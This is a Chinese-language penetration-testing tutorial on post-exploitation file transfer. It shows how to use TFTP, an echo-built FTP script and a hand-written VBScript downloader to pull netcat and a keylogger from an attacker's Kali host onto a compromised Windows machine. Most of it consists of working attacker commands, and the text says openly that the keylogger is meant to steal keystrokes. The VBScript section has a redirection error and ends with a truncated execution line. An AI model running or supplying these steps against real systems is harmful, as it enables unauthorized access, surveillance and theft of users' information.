前言
后漏洞利用阶段
即已经控制目标机
我们需要做的大概是以下几点:
- 上传工具:更好地控制目标
- 提权:获取root权限
- 擦除攻击痕迹
- 安装后门:长期控制、dump密码、内网渗透
挑战:杀毒软件
这节主要学习如何上传工具,即传输文件
以klogger和whoami为例
可以在目标机工作时
将敲击的键盘记录在klogger的目录下的txt中
来窃取信息
下面介绍几种传输文件的方法
1、tftp
- 基于UDP
- 不支持身份验证
- 常被防火墙过滤
- xp和2003默认安装
kali下
mkdir \tftp #创建主目录
atftpd --daemon -port 69 /tftp #启动
cp /usr/share/windows-binaries/nc.exe /tftp/ #拷贝nc
cp /usr/share/windows-binaries/whoami.exe /tftp/
cp /usr/share/windows-binaries/klogger.exe /tftp/
chown -R nobody /tftp #nobody默认为服务账号
控制的windows的shell下
tftp -i 192.168.10.5 get nc.exe
tftp -i 192.168.10.5 get whoami.exe
tftp -i 192.168.10.5 get klogger.exe #从192.168.10.5这个kali的IP传输文件过来
>whoami
>klogger #分别启动这两个工具
2、ftp
kali下:
apt install pure-ftpd #安装
./ftp.sh
cp /tftp/* /ftp/
配置文件ftp.sh
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd username -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
用户:username 密码:password
控制的windows的shell下:
echo open 192.168.1.117> ftp.txt
echo cy>> ftp.txt
echo password >>ftp.txt
echo bin >> ftp.txt
echo GET whoami.exe>> ftp.txt
echo GET klogger.exe>> ftp.txt
echo bye>> ftp.txt
ftp -s:ftp.txt
3、vbscript
kali下
service apache2 start
cd /var/www/html/
cp /ftphome/whoami.exe .
控制的windows的shell下
脚本wget.vbs
echo strUrl=WScript.Arguments.Item(0)>wget.vbs
echo Str File=WScript.Arguments.Item(1)>wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
执行
>w
结语
有多种协议可以用来传输文件
以上传工具
根据情况自己选择
出了上述三种
还有powershell、debug等也可以